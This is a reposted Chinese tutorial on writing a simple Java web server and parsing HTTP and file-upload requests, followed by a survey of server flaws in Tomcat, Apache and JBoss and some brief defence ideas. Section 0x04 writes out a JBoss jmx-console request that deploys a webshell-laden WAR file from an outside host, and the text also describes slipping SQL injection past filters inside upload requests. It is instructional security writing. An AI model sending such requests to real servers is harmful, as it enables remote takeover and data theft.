来源:自学PHP网 时间:2015-04-15 14:59 作者: 阅读:次
[导读] 注:在继后门篇后已经有很长时间没更新了,这次一打算写写Server[1]的续集。喜欢B S吗?那我们今天干脆就来写一个简单的Web服务器吧。0x01 WebServerWeb服务器可以解析(handles)HTTP协议。当...
注:在继后门篇后已经有很长时间没更新了,这次一打算写写Server[1]的续集。喜欢B/S吗?那我们今天干脆就来写一个简单的“Web服务器”吧。
0x01 WebServerWeb服务器可以解析(handles)HTTP协议。当Web服务器接收到一个HTTP请求(request),会返回一个HTTP响应(response),例如送回一个HTML页面。 Server篇其实还缺少了JBOSS和Jetty,本打算放到Server[2]写的。但是这次重点在于和大家分享B/S实现和交互技术。Server[1]已经给大家介绍了许多由Java实现 的WebServer相信小伙伴们对Server的概念不再陌生了。Web服务器核心是根据HTTP协议解析(Request)和处理(Response)来自客户端的请求,怎样去解析和响应来自客户端的请求正是我们今天的主题。
B/S交互 浏览器发送HTTP请求。经Internet连接到对应服务器。服务器解析并处理Http请求,返回处理结果到浏览器。浏览器解析服务器返回的数据并显示解析后的网页。 在学习之前需要了解浏览器和Server工作原理,比如什么是HTTP协议什么是Socket。对于更底层的协议暂不提及。 HTTP协议HTTP的发展是万维网协会(World Wide Web Consortium)和Internet工作小组(Internet Engineering Task Force)合作的结果,(他们)最终发布了一系列的RFC,其中最著名的RFC 2616,定义了HTTP协议中现今广泛使用的一个版本—HTTP 1.1。 详情: http://www.w3.org/Protocols/ 请求http://www.google.com:  客户端浏览器发送了一个HTTP请求, 第一行GET / HTTP/1.1即:以GET方式请求“ /” 目录HTTP/1.1是请求的HTTP协议版本。而Google返回的则是一个基于HTTP协议的响应,其中包括了状态码、内容长度、服务器版本、以及返回内容类型等。客户端浏览器发送了一个请求(HttpRequest),Google服务器返回处理(Handling Request)并响应(HttpResponse)了这个请求。 通俗的说HTTP协议是一种固定的请求格式,只要按照固定的格式去发送请求,服务器就可以按照固定的方式去处理来自客户端的请求。 Socket:Socket是应用层与TCP/IP协议族通信的中间软件抽象层,它是一组接口。Socket通常也称作”套接字",用于描述IP地址和端口,是一个通信链的句柄。在Internet上的主机一般运行了多个服务软件,同时提供几种服务。每种服务都打开一个Socket,并绑定到一个端口上,不同的端口对应于不同的服务。  0x01 Java实现Web ServerOracle提供了一个基础包:java.net用来实现网络应用程序开发。提供了阻塞的Socket和、非阻塞的SocketChannel、URL等。 客户端通过Socket与服务器端建立连接,然后客户端发送请求内容到服务器。服务器接收到请求返回给客户端,请求完成后断开连接。 1、Client发送一个非标准的HTTP请求内容为”Hello...”给SAE服务器:  请求首先到达了对方监听80端口的nginx,在发现客户端发送的内容不符合HTTP请求规范的同时返回了一个400错误(400 Bad Request)。 发送一个合法的HTTP请求(不截图了,把上面的Hello...换成了req),即发送: "GET / HTTP/1.1\r\n"+ "Host: www.wooyun.org\r\n"+ "Connection: keep-alive\r\n"+ "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"+ "Cookie: bdshare_firstime=1387989676924\r\n\r\n”; 服务器返回信息:  两次请求的差异在于是否按照HTTP协议发送,当我们随意向目标端口发送请求时,返回了一个错误请求结果。当发送符合HTTP协议的请求时服务器返回了正确的处理结果。所以只需按照HTTP协议去解析请求和响应即可。与此同时不难看出请求头的任何内容都是可以伪造的,这也是之前写cs交互的时候提到为什么不要信任来自客户端的任意请求的根本原因。现在尝试着写一个Server,去解析来自浏览器的请求。 除了使用上面的“冗余代码”去发送HTTP请求,你还可以用oracle自带的URL包去发送HTTP请求会更加简单。通过setRequestProperties一样可以修改请求头。用getHeaderFields就能获取到响应头信息了。 2、简单HTTP服务器实现需再一次看下上面Socket流程图,在服务器上监听某个端口(listen),等待请求(accept)。一旦有连接到达就开始读取请求内容(read),然后处理并输出响应内容(write),最后close。服务器端核心业务是获取请求、解析请求、处理请求、返回响应。 Server.java核心代码:  浏览器请求:http://192.168.199.240:9527/wooyun.jsp?user=yzmm2&pass=123  浏览器请求头: GET /wooyun.jsp?user=yzmm&pass=123 HTTP/1.1 Host: 192.168.199.240:9527 Connection: keep-alive Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 Accept-Encoding: gzip,deflate,sdch Accept-Language: zh-CN,zh;q=0.8 现在需要做的是解析请求。在Server里面有一段解析请求的代码:Request req = new Request().parserRequest(sb.toString());//解析请求。具体的需要解析的内容包括:请求头(Header)、请求参数(Parameter)、请求的URI(RequestURI)等。如果是文件上传请求的话还得解析具体的内容(form-data)。 在解析的整个过程没看过RFC文档,只是根据个人理解去实现请求解析,有不对的地方见谅。 首先用换行符切开请求头,得到如下结果:GET /wooyun.jsp?user=yzmm&pass=123 HTTP/1.1。可见这里是按空格隔开的,用正则的\s就可以切开了当前行了。这样就能简单的拿到:[GET, /wooyun.jsp?user=yzmm&pass=123, HTTP/1.1]把他们保存到类的成员变量以便后面调用。 解析请求头比较简单,只需把请求头内容按照key、value方式解析出来就行了。比如:Host: localhost:9527,解析后就成了key=Host,value=localhost:9527。parserGET方法就更简单了,把 /wooyun.jsp?user=yzmm&pass=123以”?”号切开后再以”=”号切开,最终得到的是key=user,value=yzmm、key=pass,value=123。   处理结果都装在了如下变量:
如果想取出请求参数可以用parameter.get(“xxxx”)就行了,是不是跟javaee有那么些相似了?当请求解析完成后需要去加载请求的文件,比如这里的wooyun.jsp。 当请求处理完后调用getResponse方法把结果输出到浏览器:
从上可见服务器的响应信息也是可以任意的。比如我修改了响应中的server的值你就会在浏览器的Response当中看到当前的server是: z7y-server。出现在响应头里面有意思的漏洞有:CRLF注入,有兴趣的小伙伴儿可以了解下。 0x02 文件上传请求解析文件上传请求和普通的GET、POST不一样,在JavaEE里面会把multipart请求封装成一个InputStream对象。如果想要从请求里面解析具体的文件内容需要读取流。值得注意的是multipart/form-data中的input域也会包含在InputStream里面。在JavaEE里面可以用:request.getInputStream();或request.getReader();方法获取。
文件域下方Content-Type: text/html实际上隐藏了upload.html的内容,chrome不会在那儿显示。判定一个请求是否是文件上传只需从请求头里面取出Content-Type就行了,如果type是multipart/form-data;即标识当前请求类型是文件上传。 关于文件上传请求解析,我写的比较粗暴了。按照分割线分别把内容域和文件域提取出来,并封装到multipart map里面,它们的key分别是file和para。  写文件到”服务器”:  文件上传请求安全问题值得注意的是假如一个文件上传和input域同时出现的情况下,跨站和Sql注入几率会非常的高。因为文件上传会把input域的请求参数封装到流里面,很多时候并没有人会去处理这样的恶意请求。 类似的案例: WooYun: 360网站宝/安全宝/加速乐及其他类似产品防护绕过缺陷之一 。漏洞提交者在文件上传请求中传递了SQL注入语句,而上面的安全软件的拦截都失效了。。。 据说在PHP里面还存在另外一个问题,文件上传的input域请求会被解析到对应的POST请求对象当中。那么也就是说假设一个站拦截了普通的GET、POST请求,但是没有拦截文件上传的恶意请求。仅需要简单的构造一个上传并传递注入语句就绕过了所谓的防御了。 0x03 文件或虚拟路径请求和处理虚拟路径请求处理在Servlet里面一个Servlet映射的是一个虚拟的路径。比如请求:http://xxx /servlet/hello。这个servlet/hello并不是一个实际存在的文件地址。所以我们请求的wooyun.jsp可以是真实存在的一个文件,也可以是一个虚拟的路径。比如当客户端请求wooyun.jsp的时候我们把请求交给Controller去处理(仿MVC):  而我们的控制层假设做了一个请求校验:当user等于yzmm的时候输出Good!,否则输出Error.  分别请求:http://192.168.199.240:9527/wooyun.jsp?user=yzmm&pass=123和user=zsy输出都是正常的。  普通的文件请求假如用户请求的不是虚拟路径而是一个实际存在的文件呢?这个时候就需要把服务器的文件内容读取并返回给客户端。比如把Contoller注掉改为content = readFile(request);这次去读取ROOT下的wooyun.jsp内容。  这次输出了”用户目录/webapps/zsy/ROOT/wooyun.jsp”内容。 0x04 Server安全问题文件解析漏洞服务器在处理请求或其本身可能存在一些安全问题。经典的比如IIS、Nginx解析漏洞。那么是什么原因让Server变得这么”不安全”呢? 在之前的系列里面讲过如果把Tomcat的web.xml的filter添加任意后缀到servlet-name为jsp的Servlet当中,那么所有后缀为.txt的请求都会被当作jsp解析!  假设Tomcat在写正则的时候一不小心写成了:
那么所有的1.jsp.jpg的请求都会交给jsp对应的servlet处理。跟这类似的漏洞apache曾经就出现过。问题是apache如果在mime.types文件里面没有定义的扩展名,会给解析成倒数第二个定义的扩展名。 文件读取漏洞好吧,这个Tomcat做的有点奇葩。在某些低版本的Tomcat当请求目录并没有找到对应的索引文件,且web.xml的listings是true。于是Tom猫就干脆列出这个目录的所有文件。 Tomcat还出过另一个低级漏洞,当请求的文件是UTF-8编码的时候会造成任意文件遍历漏洞。触发的条件为Apache Tomcat的配置文件context.xml 或 server.xml 的'allowLinking' 和 'URIencoding' 允许'UTF-8'选项 War文件部署漏洞很多时候需要在线上部署一个新的应用时可以在Server的控制台去动态的部署一个war文件(其实就是一个压缩文件包)。Server会自动解压并部署。这虽说是非常的方便,但是却因为Server各自的实现不一或者自身安全意思淡漠导致任意的war文件都可以远程部署到Server中去。这里面的典型代表就是Jboss。请求: http://192.168.0.113:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://www.ahack.net/iswin.war 成功后访问:http://192.168.0.113:8080/iswin/index.jsp 菜刀连接(默认包含index.jsp、index.jspx、index.jspf、cmd.jsp三个shell)。 测试版本:jboss-6.1.0.Final。http://p2j.cn/?p=342 控制台输出信息:  这货去年十月还出过一个高危的漏洞,同样是远程war部署。 Apache Tomcat/JBoss EJBInvokerServlet / JMXInvokerServlet (RMI over HTTP) Marshalled Object RCE 详情: http://www.exploit-db.com/exploits/28713/ http://zone.wooyun.org/content/7398 除了上述漏洞某些Server还出过拒绝服务漏洞、控制台弱口令漏洞、爆路径漏洞、WebDAV、XSS等漏洞。可谓想做好一个WebServer是非常的艰难。 0x05 Server漏洞防御在总结了之前的Server安全问题之后,我们有没有想过怎么去防御来自客户端的攻击呢?我们应该如何去防御?这里仅简要介绍防范思路至于防御细节,对不起请自行实现。 防御方式: 1、由远及近,从CDN层我们可以拦截所有的恶意请求。可以尝试在请求到达服务器之前净化请求信息。 2、从网络层可以用硬防处理恶意请求。 3、从服务器层可以写对应的Server拓展(Filter)拦截恶意请求。 4、安装服务器安全软件。 5、在应用层需要尽可能的注重代码编写,如果无法确保安全性可以在应用层写一个安全过滤器。 从实现的角度来说前两者的成本较高,效果或许并不会特别明显,后面几种方式显得更轻。 这一期可以说是对Server篇的补充吧,源码没什么水平有兴趣的朋友可以看看(下载地址:http://pan.baidu.com/s/1qW2Nwx2 )。希望大家看过笑笑之后更加“深入”的了解Request和Response吧。原打算写个简易浏览器也没时间了。快过年了,祝小伙伴们新年快乐 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com